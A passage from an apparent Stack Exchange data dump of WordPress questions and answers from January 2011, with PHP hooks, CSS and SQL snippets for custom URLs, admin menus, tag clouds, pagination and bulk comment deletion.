solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little more information:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I get the same connection reset&#xA;error with FireFox and IE. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Apache access log shows the following (I don't have access to the error logs):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[22/Jan/2011:00:01:39 -0500] &quot;GET /blog/wp-login.php?action=logout&amp;amp;_wpnonce=2d5b319c49 HTTP/1.0&quot; &lt;strong&gt;302&lt;/strong&gt; 212 &quot;http://my.site.com/blog/wp-admin/&quot; &quot;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The temporary redirect to /blog/wp-admin/ seems to make sense -- after logging out you go back to the login page. &lt;/p&gt;&#xA;" OwnerUserId="2660" LastEditorUserId="2660" LastEditorDisplayName="" LastEditDate="2011-01-22T20:16:46.837" LastActivityDate="2011-09-01T06:53:31.660" Title="Error when trying to logout" Tags="&lt;errors&gt;" AnswerCount="3" />
  <row Id="7475" PostTypeId="1" CreationDate="2011-01-22T05:52:12.867" Score="1" ViewCount="99" Body="&lt;p&gt;I am working on wordpress site.I need here to implement a form that is manageable from admin mean that admin can add field as requirement.Right now I am using &lt;code&gt;fast and secure form plugin&lt;/code&gt; by default that plug-in provide four form.But each form having its own &lt;code&gt;submit&lt;/code&gt; button I dont want this Actually client need form that divide in three part mean that when filled form first there should be &lt;code&gt;next&lt;/code&gt; button on clicking next button it goes to &lt;code&gt;second form&lt;/code&gt; after filled second form there should also be &lt;code&gt;next&lt;/code&gt; button after click this it goes to third form taht contain &lt;code&gt;submit&lt;/code&gt; button.All the form fields should be manageable throught admin.&#xA;Mean admin can add or delete any field as requirment  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide me suggestion &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shall be thankful to u all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shalu&lt;/p&gt;&#xA;" OwnerUserId="1850" LastActivityDate="2011-01-22T10:44:55.967" Title="How to implement three forms(like contact form) in wordpress" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="7476" PostTypeId="2" ParentId="7468" CreationDate="2011-01-22T05:53:44.643" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well if I had thought about how much work with was going to be before writing it, you wouldn't be able to get me points right now. :)  Needless to say, it's rather involved &lt;em&gt;(though I don't think it really should have to be, but it is what it is.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, you can't &lt;em&gt;(easily)&lt;/em&gt; do it like you wanted; the problem is how to differentiate between these two URLs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Event Type = &lt;em&gt;&quot;Day Time&quot;&lt;/em&gt;, Event&#xA;Title = &lt;em&gt;&quot;For a Change&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Event Type = &lt;em&gt;&quot;Day&quot;&lt;/em&gt;, Event Title =&#xA;&lt;em&gt;&quot;Time For a Change&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both would have a portion of their URLs looking like this and how could we tell which is which?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;day-time-for-a-change&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I modified your pattern to use tildes (~) as separators and that works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain-name.com/events/&amp;lt;taxonomy-term&amp;gt;~event-title~&amp;lt;custom-field&amp;gt;/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, I wrote a plugin that does what you need. It does the following things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It sets the rewrite rule in the the plugin activation hook using &lt;code&gt;$wp_rewrite-&amp;gt;add_rule()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It applys the pattern to create actual event post links using the &lt;code&gt;'post_type_link'&lt;/code&gt; hook, and&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It simplifes editing of the URL slug by using the &lt;code&gt;'get_sample_permalink_html'&lt;/code&gt; hook &lt;em&gt;(I didn't try to show the full URL because it would have been too tricky for something I'm writing for free. :)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So here's what the edit screen looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-003056.png&quot; alt=&quot;Screenshot of Event Edit Screen on WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which produces this view on the front end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-005214.png&quot; alt=&quot;Example of Custom URLs in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here ya go with the plugin code &lt;em&gt;(let me know if you have questions, but not toooo many. ;-):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA;Plugin Name: SEO URLs for Events&#xA;*/&#xA;if (!class_exists('SeoUrlsForEvents')) {&#xA;  class SeoUrlsForEvents {&#xA;    static function on_load() {&#xA;      add_action('init', array(__CLASS__,'init'));&#xA;      add_filter('post_type_link', array(__CLASS__,'post_type_link'),10,4);&#xA;      add_filter('get_sample_permalink_html',array(__CLASS__,'get_sample_permalink_html'),10,4);&#xA;    }&#xA;    static function get_sample_permalink_html($sample, $post_id, $new_title, $new_slug) {&#xA;      $post = get_post($post_id);&#xA;      if ($post-&amp;gt;post_type=='event') {&#xA;        $post_slug = self::make_post_slug($post);&#xA;        if ($post_slug) {&#xA;          $sample = str_replace('&amp;lt;strong&amp;gt;Permalink:&amp;lt;/strong&amp;gt;','&amp;lt;strong&amp;gt;Permalink Slug:&amp;lt;/strong&amp;gt;',$sample);&#xA;          $sample = preg_replace('#(&amp;lt;span id=&quot;sample-permalink&quot;&amp;gt;).+?(&amp;lt;span id=&quot;editable-post-name&quot; title=&quot;Click to edit this part of the permalink&quot;&amp;gt;).+?&amp;lt;/span&amp;gt;/&amp;lt;/span&amp;gt;#Us',&quot;$1$2{$post-&amp;gt;post_name}&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot;,$sample);&#xA;          $permalink = get_post_permalink($id);&#xA;          $sample = preg_replace(&quot;#(&amp;lt;span id='view-post-btn'&amp;gt;&amp;lt;a href=').+?(' class='button' target='_blank'&amp;gt;View Post&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;)#&quot;,&quot;$1{$permalink}$2&quot;,$sample);&#xA;        }&#xA;      }&#xA;      return $sample;&#xA;    }&#xA;    static function make_post_slug($post) {&#xA;      $post_slug = false;&#xA;      $post = (object)$post;&#xA;      if ($post-&amp;gt;post_type=='event') {&#xA;        $when = get_post_meta($post-&amp;gt;ID,'when',true);&#xA;        if (!empty($when)) { // If we don't have a when, use default&#xA;          $types = wp_get_object_terms($post-&amp;gt;ID,'event-type');&#xA;          if (count($types)) // If we don't have an event-type, use default else use the first one&#xA;            $post_slug = &quot;{$types[0]-&amp;gt;slug}~{$post-&amp;gt;post_name}~{$when}/&quot;;&#xA;        }&#xA;      }&#xA;      return $post_slug;&#xA;    }&#xA;    static function post_type_link($post_link, $post, $leavename, $sample) {&#xA;      if ($post-&amp;gt;post_type=='event' &amp;amp;&amp;amp; $sample) {&#xA;        $post_link = '%event%';&#xA;      } else {&#xA;        $post_slug = self::make_post_slug($post);&#xA;        if ($post_slug) {&#xA;          $post_link = get_bloginfo('wpurl') . '/events/' . $post_slug;&#xA;        }&#xA;      }&#xA;      return $post_link;&#xA;    }&#xA;    static function activate() {&#xA;      global $wp_rewrite;&#xA;      $wp_rewrite-&amp;gt;add_rule('events/([^~]+)~([^~]+)~([^/]+)','index.php?post_type=event&amp;amp;taxonomy=event-type&amp;amp;term=$matches[1]&amp;amp;name=$matches[2]&amp;amp;meta_key=when&amp;amp;meta_value=$matches[3]', 'top');&#xA;      $wp_rewrite-&amp;gt;flush_rules(false);&#xA;    }&#xA;    static function init() {&#xA;      register_post_type('event',&#xA;        array(&#xA;          'label'           =&amp;gt; 'Events',&#xA;          'public'          =&amp;gt; true,&#xA;          'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'events'),&#xA;          'hierarchical'    =&amp;gt; false,&#xA;          'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;        )&#xA;      );&#xA;      register_taxonomy('event-type', 'event', array(&#xA;        'hierarchical'    =&amp;gt; false,&#xA;        'label'           =&amp;gt; 'Event Types',&#xA;        'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'event-types' ),&#xA;        )&#xA;      );&#xA;    }&#xA;  }&#xA;  SeoUrlsForEvents::on_load();&#xA;}&#xA;register_activation_hook(__FILE__,array('SeoUrlsForEvents','activate'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-22T23:24:37.220" LastActivityDate="2011-01-22T23:24:37.220" />
  <row Id="7477" PostTypeId="2" ParentId="7467" CreationDate="2011-01-22T06:01:11.350" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/5sec-google-maps/152372?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;5secGoogleMaps by WebFactory is a very promising one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You enter a map like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[gmap]your address[/gmap]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-22T06:01:11.350" CommentCount="1" />
  <row Id="7478" PostTypeId="2" ParentId="7464" CreationDate="2011-01-22T06:19:18.340" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, I love it when you give me an easy one. Starts to make up for all those harder ones... &lt;em&gt;(well, partly. ;-)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you want is to replace this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-011017.png&quot; alt=&quot;WordPress Tag Cloud with mixed-sized fonts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Post_Tags_%E2%80%B9_WordPress_3.0_Test_Site_%E2%80%94_WordPress-20110122-011719.png&quot; alt=&quot;WordPress Tag Cloud with consistently-sized fonts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How? Use the &lt;code&gt;'wp_tag_cloud'&lt;/code&gt; hook which you can put into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing.  For this one I tested the global variable &lt;code&gt;$pagenow&lt;/code&gt; to make sure it was on the term edit page. In the hook just strip out the &lt;code&gt;style&lt;/code&gt; attribute from each of the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; elements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_tag_cloud','modify_taxonomy_tag_cloud',10,2);&#xA;function modify_taxonomy_tag_cloud($html,$args) {&#xA;  global $pagenow;&#xA;  if ('edit-tags.php'==$pagenow) // Only for the tag edit page&#xA;    $html = preg_replace(&quot;#style='[^']+'#Us&quot;,'',$html);&#xA;  return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-22T06:19:18.340" />
  <row Id="7479" PostTypeId="2" ParentId="7473" CreationDate="2011-01-22T06:35:56.290" Score="4" ViewCount="" Body="&lt;p&gt;WordPress doesn't support bulk management of comments on a post by post basis. Although it does have a comment management section directly at the post's edit page. As you said, you would have to click on &quot;Trash&quot; on every single comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/FHLPT.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately you could take a back up of the wp_comments and wp_commentmeta table and run the following queries:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find post ID. Lets say the relevant id is X.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID from wp_posts WHERE post_title='Hello world!'; &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add relevant comment metadata just to preserve integrity:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO wp_commentmeta (comment_id, meta_key, meta_value) SELECT comment_ID, &quot;wp_trash_meta_time&quot;, UNIX_TIMESTAMP() FROM wp_comments WHERE comment_post_ID=@x;&#xA;&#xA;INSERT INTO wp_commentmeta (comment_id, meta_key, meta_value) SELECT comment_ID, &quot;wp_trash_meta_status&quot;,comment_approved FROM wp_comments WHERE comment_post_ID=@x;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trash all comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_comments SET comment_approved='trash' WHERE comment_post_ID=@x;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="353" LastEditorUserId="353" LastEditorDisplayName="" LastEditDate="2011-01-24T16:28:20.643" LastActivityDate="2011-01-24T16:28:20.643" CommunityOwnedDate="2011-01-22T06:35:56.290" CommentCount="4" />
  <row Id="7480" PostTypeId="2" ParentId="7463" CreationDate="2011-01-22T06:40:46.363" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another easy one! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know I think very highly of WordPress in general, but the admin menu architecture is &lt;em&gt;one of the nastiest hacks I think I've ever seen&lt;/em&gt; in open-source software. What's only greater in magnitude is the core WordPress team's unwillingness to acknowledge how bad it is and their lack of willingness to discuss improving it. But I digress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, here's what you want (I think):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-013513.png&quot; alt=&quot;Screenshot of a WordPress admin menu modified to &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's how to get it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu','rename_pages_to_main_sections');&#xA;function rename_pages_to_main_sections() {&#xA;  global $menu;&#xA;  global $submenu;&#xA;  $menu[20][0] = 'Main Sections';&#xA;  $submenu['edit.php?post_type=page'][5][0] = 'Main Sections';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Also, you might find the code I posted here helpful too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7029/&quot;&gt;&lt;strong&gt;How to Resolve Some Challenges when Modifying the WordPress Admin Menu System?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-22T06:40:46.363" />
  <row Id="7481" PostTypeId="2" ParentId="7456" CreationDate="2011-01-22T07:05:58.873" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@tnorthcutt:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure thing, just use CSS and the &lt;code&gt;'admin_head'&lt;/code&gt; hook to make it disappear. I believe this is what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-020011.png&quot; alt=&quot;Hierarchical taxonomy entry on WordPress post page without the parent&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add the following to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or to a &lt;code&gt;.php&lt;/code&gt; file of a plugin that you might be writing. Note that I included an &lt;code&gt;'init'&lt;/code&gt; hook to define the &lt;em&gt;&quot;Home&quot;&lt;/em&gt; post type and the &lt;em&gt;&quot;Bath&quot;&lt;/em&gt; taxonomy so others can more easily follow the example. Also note that if your taxonomy is named &lt;em&gt;Baths&quot;&lt;/em&gt; you'll need to change the CSS selector to be &lt;code&gt;#newbaths_parent&lt;/code&gt; instead of &lt;code&gt;#newbath_parent&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head','remove_bath_parents');&#xA;function remove_bath_parents() {&#xA;  global $pagenow;&#xA;  if (in_array($pagenow,array('post-new.php','post.php'))) { // Only for the post add &amp;amp; edit pages&#xA;    $css=&amp;lt;&amp;lt;&amp;lt;STYLE&#xA;&amp;lt;style&amp;gt;&#xA;&amp;lt;!--&#xA;#newbath_parent {&#xA;  display:none;&#xA;}&#xA;--&amp;gt;&#xA;&amp;lt;/style&amp;gt;&#xA;STYLE;&#xA;    echo $css;&#xA;  }&#xA;}&#xA;add_action('init','add_homes_and_baths');&#xA;function add_homes_and_baths() {&#xA;  register_post_type('home',&#xA;    array(&#xA;      'label'           =&amp;gt; 'Homes',&#xA;      'public'          =&amp;gt; true,&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'homes'),&#xA;      'hierarchical'    =&amp;gt; false,&#xA;    )&#xA;  );&#xA;  register_taxonomy('bath', 'home', array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'label'           =&amp;gt; 'Baths',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'baths' ),&#xA;    )&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So it seems I missed &lt;strong&gt;the radio button part&lt;/strong&gt; of the question. Unfortunately WordPress does not make this easy but you can make it happen by using &lt;a href=&quot;http://php.net/manual/en/book.outcontrol.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PHP output buffering&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(via the &lt;code&gt;ob_start()&lt;/code&gt; and &lt;code&gt;ob_get_clean()&lt;/code&gt; functions.)&lt;/em&gt; Just find a hook before the metabox is output (&lt;code&gt;'add_meta_boxes'&lt;/code&gt;) and a hook after it is output (&lt;code&gt;'dbx_post_sidebar'&lt;/code&gt;) and then search the captured HTML for &lt;code&gt;'checkbox'&lt;/code&gt; and replace with &lt;code&gt;'radio'&lt;/code&gt;, echo it to the screen and yer done! Code follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes','mysite_add_meta_boxes',10,2);&#xA;function mysite_add_meta_boxes($post_type, $post) {&#xA;  ob_start();&#xA;}&#xA;add_action('dbx_post_sidebar','mysite_dbx_post_sidebar');&#xA;function mysite_dbx_post_sidebar() {&#xA;  $html = ob_get_clean();&#xA;  $html = str_replace('&quot;checkbox&quot;','&quot;radio&quot;',$html);&#xA;  echo $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the evidence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110123-043759.png&quot; alt=&quot;Screenshot showing taxonomies using radio buttons&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-23T09:38:44.577" LastActivityDate="2011-01-23T09:38:44.577" CommentCount="9" />
  <row Id="7482" PostTypeId="1" CreationDate="2011-01-22T08:11:26.723" Score="0" ViewCount="46" Body="&lt;p&gt;I recently divided my posts into 3 types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts (blog entries)&#xA;Pages (individual web pages)&#xA;Static Content (content that goes to specific sections of a Page. For example, the Tagline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if the end user will understand what static content means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about Page Content but I think Blog entries are page content too (the same as Web Content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-23T02:20:40.073" Title="What would be a proper name for a custom post type created for static content?" Tags="&lt;custom-post-types&gt;" AnswerCount="3" />
  <row Id="7483" PostTypeId="2" ParentId="7443" CreationDate="2011-01-22T08:39:58.630" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user1462:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy to say that it's not hard at all to achieve what you are looking for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, &lt;a href=&quot;http://svn.wp-plugins.org/wp-paginate/tags/1.2.2/readme.txt&quot; rel=&quot;nofollow&quot;&gt;you have to add a call to &lt;code&gt;wp_paginate()&lt;/code&gt; in &lt;em&gt;(one of)&lt;/em&gt; your theme&lt;i&gt;(s)&lt;/i&gt; template file&lt;i&gt;(s)&lt;/i&gt;&lt;/a&gt; when using this plugin, and that call looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(function_exists('wp_paginate')) {&#xA;  wp_paginate();&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do what you need just create your own function, let's call it &lt;code&gt;mysite_paginate()&lt;/code&gt; and call it instead of the code above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your function &lt;code&gt;mysite_paginate()&lt;/code&gt; call &lt;code&gt;ob_start()&lt;/code&gt; to start output buffering, then call &lt;code&gt;wp_paginate()&lt;/code&gt;, and then call &lt;code&gt;ob_get_clean()&lt;/code&gt; to capture the output created by &lt;code&gt;wp_paginate()&lt;/code&gt;.  The final step is to then use a regular expression search and replace with &lt;code&gt;preg_replace()&lt;/code&gt; to add the classes you want and then echo the results to the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you need is below. You can add it to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a &lt;code&gt;.php&lt;/code&gt; file of a plugin you may be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mysite_paginate() {&#xA;  if(function_exists('wp_paginate')) {&#xA;    ob_start();&#xA;    wp_paginate();&#xA;    $html = ob_get_clean();&#xA;    $html = preg_replace('#&amp;lt;li&amp;gt;(&amp;lt;a href=&quot;[^&quot;]+&quot; class=&quot;next&quot;&amp;gt;)#Us',&#xA;              '&amp;lt;li class=&quot;next&quot;&amp;gt;$1',$html);&#xA;    $html = preg_replace('#&amp;lt;li&amp;gt;(&amp;lt;a href=&quot;[^&quot;]+&quot; class=&quot;prev&quot;&amp;gt;)#Us',&#xA;              '&amp;lt;li class=&quot;prev&quot;&amp;gt;$1',$html);&#xA;    echo $html;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if all goes as planned, this is what you should expect to see when using an &lt;a href=&quot;http://webkit.org/blog/197/web-inspector-redesign/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;element inspector&lt;/strong&gt;&lt;/a&gt; with your browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110122-033505.png&quot; alt=&quot;Screenshot showing classes added to the HTML output of WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-22T08:47:35.940" LastActivityDate="2011-01-22T08:47:35.940" CommentCount="6" />
  <row Id="7484" PostTypeId="2" ParentId="7482" CreationDate="2011-01-22T08:53:29.957" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the name people often use for this type of thing is &lt;strong&gt;&lt;em&gt;&quot;&lt;a href=&quot;http://www.google.com/search?q=define%3aboilerplate&quot; rel=&quot;nofollow&quot;&gt;Boilerplates&lt;/a&gt;.&quot;&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that work for you?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-22T08:53:29.957" CommentCount="6" />
  <row Id="7485" PostTypeId="2" ParentId="7473" CreationDate="2011-01-22T09:04:42.437" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jeff Atwood:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you have MySQL query access. This will give you all comments for your blog post whose URL slug is &lt;code&gt;'your-blog-post'&lt;/code&gt; &lt;em&gt;(the slug is the last segment in your post's URL if you are using pretty permalinks, i.e. for &lt;a href=&quot;http://example.com/2011/01/foo-bar-baz/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/2011/01/foo-bar-baz/&lt;/a&gt; your slug would be &lt;code&gt;'foo-bar-baz'&lt;/code&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * from wp_comments WHERE comment_post_ID IN (&#xA;  SELECT ID FROM wp_posts WHERE post_name='your-post-slug'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this will give you all the comment metadata:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * from wp_commentmeta WHERE comment_id IN (&#xA;  SELECT comment_ID from wp_comments WHERE comment_post_ID IN (&#xA;    SELECT ID FROM wp_posts WHERE post_name='your-post-slug'&#xA;  )&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So... run these two commands (but be sure to replace the post_name value to be equal to yours):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE from wp_commentmeta WHERE comment_id IN (&#xA;  SELECT comment_ID from wp_comments WHERE comment_post_ID IN (&#xA;    SELECT ID FROM wp_posts WHERE post_name='your-post-slug'&#xA;  )&#xA;);&#xA;&#xA;DELETE from wp_comments WHERE comment_post_ID IN (&#xA;  SELECT ID FROM wp_posts WHERE post_name='your-post-slug'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. This will of course fully delete them but unless you do want to keep them in the trash this is easier than moving them to the trash.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-22T09:04:42.437" />
  <row Id="7486" PostTypeId="1" AcceptedAnswerId="7487" CreationDate="2011-01-22T09:26:05.917" Score="0" ViewCount="278" Body="&lt;p&gt;I tried the Satoshi Theme in Wordpress 3.1 and when the Theme Options are saved, they do get saved but the &quot;Satoshi Options Saved.&quot;  message is not displayed. (the message is displayed in Wordpress 3.0.4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* -- Theme Options Page -- */&#xA;function theme_options_admin() {&#xA;    $option_fields = array();&#xA;    if ( $_GET['updated'] ) echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated fade&quot;&amp;gt;&amp;lt;p&amp;gt;Satoshi Options Saved.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;'.get_bloginfo('template_url').'/styles/functions.css&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Satoshi Options&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div 